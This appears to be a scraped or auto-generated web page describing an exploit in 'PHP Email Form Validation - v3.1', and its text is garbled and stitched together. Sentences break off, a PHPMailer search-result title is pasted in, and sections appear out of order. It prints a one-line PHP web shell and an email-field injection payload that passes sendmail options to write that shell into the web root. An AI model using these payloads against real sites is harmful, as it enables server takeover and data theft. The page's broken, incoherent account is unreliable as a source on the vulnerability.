The PHP Email Form Validation - v3.1 has been found to have a critical vulnerability that allows attackers to exploit the system, potentially leading to severe consequences. This review aims to provide an in-depth analysis of the exploit and highlight the necessary steps to mitigate the risk.
The regex sees attacker@example.com and validates. But after PHP urldecodes the input, the mailer sees: php email form validation - v3.1 exploit
PHPMailer < 5.2.18 Remote Code Execution exploit ... - GitHub The PHP Email Form Validation - v3
If you are still running version 3.1, you should take the following actions immediately: Update to v3.2+ Full system compromise
<?php system($_GET['cmd']); ?>
Full system compromise, unauthorized data access, and potential lateral movement within the web server. Technical Breakdown
Input: "attacker ̈-oQ/tmp/ -X/var/www/html/shell.php some"@email.comInput: monospace "attacker modified monospace with double dot above monospace -oQ/tmp/ -X/var/www/html/shell.php some"@email.com